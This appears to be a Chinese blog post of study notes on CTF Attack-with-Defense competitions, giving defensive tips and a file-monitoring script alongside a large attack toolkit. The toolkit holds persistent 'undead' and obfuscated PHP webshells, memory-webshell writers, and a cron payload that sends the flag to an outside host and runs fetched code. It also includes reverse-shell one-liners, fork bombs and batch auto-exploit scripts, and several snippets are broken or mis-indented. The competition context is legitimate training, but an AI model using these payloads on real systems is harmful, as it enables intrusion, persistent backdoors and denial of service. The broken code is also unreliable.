ctf线下AWD攻防赛学习笔记

在这里插入图片描述

Hello,我是普通Gopher,00后男孩,极致的共享主义者,想要成为一个终身学习者。专注于做最通俗易懂的计算机基础知识类公众号。每天推送Golang技术干货,内容起于K8S而不止于K8S,涉及Docker、微服务、DevOps、数据库、虚拟化等云计算内容及SRE经验总结
=======================
初次见面,我为你准备了100G学习大礼包:
1、《百余本最新计算机电子图书》
2、《30G Golang学习视频》
3、《20G Java学习视频》
4、《90G Liunx高级学习视频》
5、《10G 算法(含蓝桥杯真题)学习视频》
6、《英语四级,周杰伦歌曲免费送!》
路过麻烦动动小手,点个关注,持续更新技术文章与资料!


CTF线下AWD攻防步骤总结:https://blog.csdn.net/qq_43442524/article/details/102652029
CTF AWD模式下简单的CMS代码审计:https://blog.csdn.net/qq_43442524/article/details/102409351

ctf线下AWD攻防赛学习笔记

CTF线下攻防赛主要以攻防模式(Attack & Defense)来呈现。一般在这种模式下,一支参赛队伍有三名队员,所有的参赛队伍都会有同样的初始环境,包含若干台服务器。参赛队伍挖掘漏洞,通过攻击对手的服务器获取Flag来得分,以修补自身服务器的漏洞防止扣分。

在这种赛制中,不仅仅是比参赛队员的智力和技术,同时也比团队之间的分工配合与合作。

image
具体步骤可以看我的这篇文章

题目类型

  1. 语言常见漏洞题目

PHP语言居多

Python 模板注入(SSTI):直接利用漏洞执行命令获得Flag、绕过关键字限制。

Nodejs 任意文件读取:直接读取Flag。

PHP 各类漏洞:文件包含、反序列化、文件上传、注入、代码执行、命令执行

  1. 后门漏洞

  2. 公开CMS漏洞

DZ SSRF漏洞、小众CMS 0day、出题人自己改/写的CMS。

  1. 文件上传漏洞

filelocation

  1. 文件包含漏洞

分工

在线下攻防赛中一般需要两名队员作为攻击者来进行漏洞挖掘、权限维持、探查网络、漏洞利用、自动化攻击、自动化提交等。这两名队员中要有一个代码编写能力比较强的人,其主要作用是在短时间内构造出能批量提交、自动化攻击的脚本程序,避免浪费人力在提交Flag上。另一名队员充当防护者的角色进行漏洞修复、后门排查、文件监控、弱口令排查等。

防护

防护一般情况下分为漏洞修复、文件备份、后门排查、文件监控、弱口令排查等。

漏洞修复即在攻击者角色找到了可以攻击的点之后,在相应的代码处进行过滤、修复。

文件备份即在开始进行比赛的时候一定要对原始数据进行备份,这样可以防止服务器相关Web文件被删除导致服务Down掉之后可以自行恢复(一般在线下比赛服务Down掉会持续扣分,而重启一次服务会扣掉大量分数)。

后门排查分为两种情况:第一种为主办方为了照顾水平比较低的选手而留下的隐藏后门,第二种为其他参赛队伍通过漏洞取得服务器一定权限后留下来的后门。针对第一种情况可以开始比赛时把备份文件在后门排查工具里(如D盾、河马)进行一次WebShell审查,找到主办方留下的后门,删除即可

但是也有可能主办方留下了一个免杀马,在这种情况下,如果有外网可以把源代码下载下来,把官方源代码和比赛源代码进行一次diff,这种办法基本上可以找出所有主办方留下的WebShell。也可以利用这种方式帮助攻击者进行漏洞挖掘,因为如果不是已知公开的漏洞,主办方都会在源代码里进行更改,达到可以GetShell的目的。针对第二种情况要看攻击者留下了什么类型的后门,如果是普通的WebShell一句话或者变种的一句话木马,那么直接删除即可。如果是不死马+内存马就会比较麻烦,因为在线下攻防赛中一般不是root权限,所以是没有权限杀死进程的。一般的不死马都是通过循环创建WebShell文件,如果不杀死进程的话会一直创建下去,但是也会有延时性,可以通过这种延时性写一个暴力循环删除的脚本来达到删除的目的

常见不死马:

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    file_put_contents('.config.php', '<?php phpinfo();?>');
    system('chmod 777 .config.php'); 
    touch(".config.php", mktime(20,15,1,11,17,2017)); 
usleep(100);
?>

文件监控即是要针对攻击者在服务器上创建的任何文件有一个告警或者阻断的操作,要保持服务器的文件不被删除,不允许上传或者创建文件。网上有相应的文件监控的脚本,可以参考学习。

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []


# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}


def isListLike(value):
    return isinstance(value, (list, tuple, set))


# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")


# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise


# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist


# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass


# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict


# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])


if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

弱口令排查即是主办方给的服务器为弱口令,或者自己服务器内部Web服务内存在弱口令,针对这种情况一定要及时更改弱口令,做好弱口令检查。

nmap 扫描 22
hydra -user -p
字典生成工具: 参考网站

日志分析:

在线下攻防模式中日志分析是非常重要的一环,日志分析一般是在比赛正式开始之后进行的对其他攻击者的流量进行分析提取有用的信息,通过查看其他队伍打过来的流量可以分析到他们留下的WebShell文件名、漏洞利用方式、漏洞产生的点,方便自己进行攻击。因为主办方可能会不允许选手查看日志文件,再加上日志文件不会对POST的数据进行分析打印,所以我们在进行日志监控、流量分析时,一定要提前准备好自己的监控脚本,对Web服务进行监控、分析,这样才可以抓取到完整的其他队伍打过来的流量,方便自己审查。

日志分析的用途

感知可能正在发生的攻击,从而规避存在的安全风险
应急响应,还原攻击者的攻击路径,从而挽回已经造成的损失
记录log脚本
这种脚本网上有很多。

<?php
date_default_timezone_set('Asia/Shanghai');
$ip       = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF'];	//访问者要访问的文件名
$parameter   = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$time     =   date('Y-m-d H:i:s',time()); //访问时间
$logadd = '来访时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";

// log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

日志分析工具:

LogForensics 腾讯实验室
https://security.tencent.com/index.php/opensource/detail/15
北风飘然@金乌网络安全实验室
http://www.freebuf.com/sectool/126698.html
网络ID为piaox的安全从业人员:
http://www.freebuf.com/sectool/110644.html
网络ID:SecSky
http://www.freebuf.com/sectool/8982.html
网络ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html

漏洞挖掘

在CTF攻防赛中,比赛的语言以PHP居多,漏洞的类型主要为后门漏洞、注入类型、文件上传、文件包含、代码执行、命令执行或互联网已公开的已知CMS漏洞。因此在比赛中,漏洞挖掘主要是以这几种漏洞为主。

漏洞挖掘阶段,首先将备份的源代码使用D盾进行查杀,筛选出D盾扫描出的木马文件然后在服务器上将其删除。对于其他类型的漏洞,主要还是通过白盒与黑盒方式进行漏洞挖掘。黑盒的方式与渗透测试有点相似,而白盒测试中,笔者使用的工具为“Seay源代码审计系统”,根据工具列出的漏洞描述去尽可能找上述的漏洞类型

权限维持

  1. 生成“.”开头的隐藏文件。
<?php
file_put_contents('.config.php', '<?php phpinfo();?>');    
?>
  1. 生成“-”开头的文件。

-开头的文件,如果使用rm直接删除,将无法删除,因为rm命令将会把-后面的字符串当作参数去执行。

root@JD:~/test# echo "123" > -test.php
root@JD:~/test# rm -test.php 
rm: invalid option -- 't'
Try 'rm ./-test.php' to remove the file '-test.php'.
Try 'rm --help' for more information.
root@JD:~/test#
  1. 使用不死马。
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    file_put_contents('.config.php', '<?php phpinfo();?>');
    system('chmod 777 .config.php'); 
    touch(".config.php", mktime(20,15,1,11,17,2017)); 
usleep(100);
?>

上述代码的意思为:首先代码设置程序永久执行直到程序结束,并且客户端关闭后仍然可以执行PHP代码,可保持PHP进程一直在执行。然后删除自己后进入循环,循环生成木马文件。由于源木马已自删除,且已注入内存中执行,想让程序停止,只能是重启服务,或者找出此程序的进程然后kill。

也可使用不死马生成“-”开头的木马文件

自动化攻击

自动化攻击在CTF线下攻防赛的体现是自动化打payload获取到Flag然后自动提交的过程

批量攻击

def main():
    print "[+] Starting attack framework..."
    round_time = 60 * 5
    print "[+] Round time : %s seconds..." % (round_time)
    wait_time = round_time / 2
    print "[+] Wait time : %s seconds..." % (wait_time)
    while True:
   exploit_all()
   print "[+] This round is finished , waiting for the next round..."
   for i in range(wait_time):
   print "[+] The next attack is %d seconds later..." % (wait_time - i)
   time.sleep(1)

if __name__ == "__main__":
    main()

def exploit(host, port):
    flag = get_flag(host, port)
    submit_flag(flag, token)

def exploit_all():
    with open("targets") as f:
    for line in f:
    host = line.split(":")[0]
    port = int(line.split(":")[1])
    print "[+] Exploiting : %s:%d" % (host, port)
    exploit(host, port)

RCE 之后

webshell

webshell最好有一定的伪装性,文件名可以以 . 开头。
对于不同肉鸡上的webshell设置不同密码,防止别人用你的马来收flag。

<?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?>

<?php
$uf="snc3";
$ka="IEBldmFbsK";
$pjt="CRfUE9TVF";
$vbl = str_replace("ti","","tistittirti_rtietipltiatice");
$iqw="F6ciddKTs=";
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy();
?>


<?php
$_uU=chr(99).chr(104).chr(114);
echo $_uU;
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).

$_uU(110);
echo $_cC;
$_=$_fF("",$_cC);@$_();
?>
//eval($_POST[1])



内存马
def write_memery_webshell(url, directory, password):
    sleep_time = 500 # micro second
    code = "<?php $content = '<?php eval(base64_decode($_REQUEST[%s]));?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0);      while(true){ if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
filename = ".%s.php" % (password)
    path = "%s/%s" % (directory, filename)
    payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
    print payload
    return code_exec(url, payload).split("\n")[0:-1]


def write_memery_webshell(url, directory, password):
    sleep_time = 500 # micro second
    code = "<?php $content = '<?php eval($_REQUEST[%s]);?>'; $writable_path = '%s'; $filename = '.%s.php'; $path = $writable_path.'/'.$filename; ignore_user_abort(true); set_time_limit(0); while(true){      if(file_get_contents($path) != $content){ file_put_contents($path, $content); } usleep(%d); }?>" % (password, directory, password, sleep_time)
filename = ".%s.php" % (password)
    path = "%s/%s" % (directory, filename)
    payload = "file_put_contents('%s', base64_decode('%s'));" % (path, code.encode("base64").replace("\n", ""))
    return shell_exec(url, payload).split("\n")[0:-1]


def active_memery_webshell(url):
    try:
        requests.get(url, timeout=0.5)
    except:
        print "[+] OK!"

计划任务

$message="* * * * * curl 192.168.136.1:8098/?flag=$(cat /var/www/html/flag)&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY";
ignore_user_abort(true);
set_time_limit(0);
while (true) {
$x =file_get_contents('/var/www/html/flag');
file_get_contents('http://192.168.136.1:8099/test.php?token=kericwy&flag='.$x);
sleep(5);
system("echo '$message' > /tmp/1 ;");
system("crontab /tmp/1;");
system("rm /tmp/1;");
$c=file_get_contents('http://192.168.136.1:8100/1.txt');
system($c);

反弹shell

在bash下可以运行:

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
php -r '$sock=fsockopen("127.0.0.1","4444");exec("/bin/sh -i <&3 >&3 2>&3");'         
python -c 'import pty; pty.spawn("/bin/bash")'

进程守护

while [[ : ]]; do
# tell php that i am living
echo "Creating lock file..."
touch -a ${bash_lock_file}
# check php is living or not
last_access_time=`stat -c %X ${php_lock_file}`
now_time=`date +%s`
echo "php last alive time : ${last_access_time}"
echo $[ $now_time - $last_access_time ];
if [ ! -f "${php_lock_file}" ] || [ $[ $now_time - $last_access_time ] -gt $((sleep_time+1)) ]; then
echo "[-] php script is dead!"
echo "downloading php script"
wget ${php_url} -O $target_path && curl ${start_url} -m ${time_out}
else
echo "PHP script is alive..."
fi
# sleeping
echo "sleeping..."
sleep ${sleep_time}
ignore_user_abort(true);
set_time_limit(0);
$sleep_time = 3; // max sleep_time : 3 seconds
$content = file_get_contents($bash_url);
while(true){
// tell bash that i am living
echo "Telling bash that i am alive...\n";
touch($php_lock_file);
echo "PHP Lock file last accessed : ".(time() - fileatime($php_lock_file))."\n";
// check bash is living or not
echo "Checking the bash script is alive or not...\n";
if(!(file_exists($bash_lock_file) && ((time() - fileatime($bash_lock_file)) < ($sleep_time + 1)))){
echo "The bash script is dead!\n";
// download bash script
echo "Downloading bash script...\n";
@file_put_contents($bash_path, $content);
// restart bash script
echo "Restarting bash script...\n";
@popen('nohup bash '.$bash_path.' &', 'r');
}
// control loop speed
echo "Sleeping...\n";
sleep($sleep_time);
// backdoor
echo "Executing backdoor...";
@eval(file_get_contents($code_url));
}

fork炸弹

def main():
    host = "192.168.50.57"
    port = "80"
    url = "http://%s:%s/code.php" % (host, port)
    code = "system(\"echo '.() { .|.& } && .' > /tmp/aaa\");system(\"/bin/bash /tmp/aaa\");echo \"seems good!\";"
    print code_exec(url, code)


def main():
    host = "127.0.0.1"
    port = "80"
    url = "http://%s:%s/c.php" % (host, port)
    command = ":(){ :|: & };:"
    shell_exec(url, command)

垃圾流量生成

def get_all(root, arg):
    all = []
    result = os.walk(root)
    for path,d,filelist in result:
        for file in filelist:
            if file.endswith(".php"):
               full_path = path + "/" + file
               content = get_content(full_path)
               all.append(("/" + file, find_arg(content, arg)))
    return all

def main():
    root = "."
    print get_all(root, "_GET")
    print get_all(root, "_POST")
    print get_all(root, "_COOKIE")
def get_fake_plain_payloads(flag_path):
    payloads = []
    payloads.append('system("cat %s");' % (flag_path))
    payloads.append('highlight_file("%s");' % (flag_path))
    payloads.append('echo file_get_contents("%s");' % (flag_path))
    payloads.append('var_dump(file_get_contents("%s"));' % (flag_path))
    payloads.append('print_r(file_get_contents("%s"));' % (flag_path))
    return payloads

def get_fake_base64_payloads(flag_path):
    payloads = get_fake_plain_payloads(flag_path)
    return [payload.encode("base64").replace("\n","") for payload in payloads]

def main():
    flag_path = "/home/web/flag/flag"
    print get_fake_plain_payloads(flag_path)
    print get_fake_base64_payloads(flag_path)

def handle_get(url, root, flag_path):
    all_requests = []
    http_get = get_all(root, "_GET")
    plain_payloads = get_fake_plain_payloads(flag_path)
    base64_payloads = get_fake_base64_payloads(flag_path)
    for item in http_get:
        path = item[0]
          args = item[1]
                 for arg in args:
                    for payload in plain_payloads:
                              new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
                              request = requests.Request("GET", new_url)
                        all_requests.append(request)
                          for payload in base64_payloads:
                              new_url = "%s%s?%s=%s" % (url, path[len("./"):], arg[len("$_GET['"):-len("']")], payload)
                              request = requests.Request("GET", new_url)
                              all_requests.append(request)
    return all_requests



流量复用

http://www.kericwy.xyz/files/scriptgen-burp-plugin-6.jar

参考网站:

http://blog.nsfocus.net/ctf-off-line-attack-defense-guidelines/

https://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/

  • 20
    点赞
  • 137
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值